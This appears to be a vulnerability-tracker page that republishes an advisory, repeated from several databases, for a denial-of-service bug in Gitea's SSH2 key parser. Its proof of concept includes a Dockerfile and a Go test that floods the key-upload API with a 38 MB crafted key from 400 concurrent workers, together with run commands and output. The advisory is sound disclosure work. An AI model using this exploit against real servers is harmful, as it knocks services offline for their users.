Gitea SSH Key Parser Denial of Service

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Gitea SSH Key Parser Denial of Service

Source published

13 Aug 2026 16:44:43 UTC

Source modified

13 Aug 2026 18:48:49 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

Gitea SSH Key Parser Denial of Service

Source published

Aug 13, 2026, 4:44:43 PM (timezone not stated)

Source modified

Aug 13, 2026, 6:48:49 PM (timezone not stated)

Observed here

11 Nov 2026 14:06:40 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 6.2 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Gitea SSH Key Parser Denial of Service

Source published

13 Aug 2026 17:17:25 UTC

Source modified

26 Aug 2026 16:53:48 UTC

Observed here

25 Oct 2026 14:19:10 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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CVSS 3.1 · 134c704f-9b21-4f2e-91b3-4a467353bcc0 · Secondary · 6.2 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Gitea's SSH key ingestion endpoint accepts keys in RFC 4716 (SSH2) format and normalises them before storage. The normalisation function contains an O(N²) string concatenation loop with no input size limit, meaning a single malicious key submission can force the server to perform an amount of work that grows quadratically with the size of the input. Any authenticated user can exploit this to exhaust the server's CPU and memory, taking the instance offline. ### Root Cause An attacker sends a POST /api/v1/user/keys request with a Bearer token and a JSON body whose key field contains a malicious RFC 4716 (SSH2) public key. The key consists of a valid SSH2 header followed by a very large number of short content lines — for example, 400,000 lines of 100 characters each (~38 MB total). The request reaches `CreateUserPublicKey` with no prior size check: https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/key.go#L201-L212 This calls `CheckPublicKeyString` which immediately calls `parseKeyString`. Inside `parseKeyString`, the SSH2 branch splits the input on newlines and accumulates the key body one line at a time using `keyContent += line`: https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/models/asymkey/ssh_key_parse.go#L60-L79 Because Go strings are immutable, each `+=` at line 77 allocates a new backing array and copies the entire accumulated string into it. For N lines the total bytes copied is `N*(N+1)/2`, making the operation `O(N²)` in both time and allocations. The validity of the key is only checked after the loop completes, so the entire quadratic work is performed regardless of whether the input is a real SSH key. This is only possible because neither the web form field nor the API struct carries a size constraint: https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/forms/user_form.go#L308-L317 https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/structs/repo_key.go#L33-L49 ### PoC To reproduce, clone gitea and checkout commit `9155a81b9daf1d46b2380aa91271e623ac947c1e`. Then create the following files from the gitea root directory: `poc/Dockerfile` ```docker FROM golang:1.26-alpine AS builder RUN apk add --no-cache git build-base WORKDIR /gitea # Download deps in a separate layer so rebuilds are fast after source changes. COPY go.mod go.sum ./ RUN go mod download # Copy full source (needed for fixtures, config templates, and compilation). COPY . . # Compile the integration test binary. # modernc sqlite (pure Go, no CGO needed) is the default driver. RUN CGO_ENABLED=0 go test -c \ -o /integration.test \ gitea.dev/tests/integration # ── runtime image ──────────────────────────────────────────────────────────── FROM alpine:3.22 # git is required at runtime: the test framework initialises git repos. RUN apk add --no-cache git COPY --from=builder /integration.test /integration.test # Keep the full source at /gitea so runtime.Caller(0) path resolution works # and fixtures / config templates are accessible. COPY --from=builder /gitea /gitea RUN adduser -D -u 1000 poc && chown -R poc:poc /gitea WORKDIR /gitea USER poc ENTRYPOINT ["/integration.test", \ "-test.run", "TestDoSSSHKeyParserOOM", \ "-test.v", \ "-test.timeout", "600s"] ``` `tests/integration/poc_dos_test.go` ```go package integration import ( "fmt" "runtime" "runtime/debug" "strings" "sync" "sync/atomic" "testing" "time" auth_model "gitea.dev/models/auth" api "gitea.dev/modules/structs" "gitea.dev/tests" ) func TestDoSSSHKeyParserOOM(t *testing.T) { defer tests.PrepareTestEnv(t)() // Raise the GC trigger so intermediate strings accumulate faster, // matching realistic server behaviour under sustained allocation load. debug.SetGCPercent(400) // Log in as an ordinary user — no special privileges needed. session := loginUser(t, "user1") token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteUser) const ( numLines = 400_000 charsPerLine = 100 numWorkers = 400 ) var sb strings.Builder sb.WriteString("---- BEGIN SSH2 PUBLIC KEY ----\n") sb.WriteString("Comment: dos\n") line := strings.Repeat("a", charsPerLine) + "\n" for i := 0; i < numLines; i++ { sb.WriteString(line) } sb.WriteString("---- END SSH2 PUBLIC KEY ----\n") payload := sb.String() peakGB := float64(numWorkers) * 2 * float64(numLines) * float64(charsPerLine) / (1 << 30) t.Logf("payload=%.1f MB workers=%d peak_theory=%.1f GB", float64(len(payload))/(1<<20), numWorkers, peakGB) // Each goroutine marshals its own JSON body. The bytes live in req.Body // for the entire duration of MakeRequest, so numWorkers concurrent // goroutines hold numWorkers × payload_size bytes simultaneously. // With numWorkers=400 and payload=38.5 MB: 400 × 38.5 MB = 15.4 GB → OOM. var ( wg sync.WaitGroup done atomic.Int64 ready = make(chan struct{}) start = time.Now() ) for i := 0; i < numWorkers; i++ { wg.Add(1) go func(id int) { defer func() { done.Add(1); wg.Done() }() <-ready req := NewRequestWithJSON(t, "POST", "/api/v1/user/keys", api.CreateKeyOption{ Title: fmt.Sprintf("dos-%d", id), Key: payload, }).AddTokenAuth(token) MakeRequest(t, req, NoExpectedStatus) }(i) } go func() { var ms runtime.MemStats ticker := time.NewTicker(5 * time.Second) defer ticker.Stop() for range ticker.C { runtime.ReadMemStats(&ms) t.Logf("[%4.0fs] done=%d/%d HeapSys=%.1f GB HeapAlloc=%.1f GB", time.Since(start).Seconds(), done.Load(), numWorkers, float64(ms.HeapSys)/(1<<30), float64(ms.HeapAlloc)/(1<<30)) } }() close(ready) wg.Wait() t.Logf("all done in %.1fs — container survived, increase numWorkers or numLines", time.Since(start).Seconds()) } ``` When you run the Dockerfile, it should OOM, however this is highly dependent on the host machine. On my end, I do the following: ```sh docker build -t gitea-dos-poc -f poc/Dockerfile . docker run --rm --memory=12g --memory-swap=12g gitea-dos-poc ``` Which prints out: ``` === TestDoSSSHKeyParserOOM (tests/integration/poc_dos_test.go:35) testlogger.go:62: 2026/06/02 14:37:40 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /gitea/tests/gitea-lfs-meta testlogger.go:62: 2026/06/02 14:37:40 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 29.9ms @ auth/auth.go:284(auth.SignInPost) testlogger.go:62: 2026/06/02 14:37:41 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 17.8ms @ setting/applications.go:36(setting.ApplicationsPost) poc_dos_test.go:62: payload=38.5 MB workers=400 peak_theory=29.8 GB ``` ... demonstrating high memory consumption. On my end, memory is consumed within 1 second.

Source published

21 Jul 2026 21:09:57 UTC

Source modified

24 Sep 2026 15:30:05 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Publisher rating · MODERATE

Gitea SSH Key Parser Denial of Service in gitea.dev

Source published

22 Jul 2026 20:36:35 UTC

Source modified

22 Jul 2026 21:00:25 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.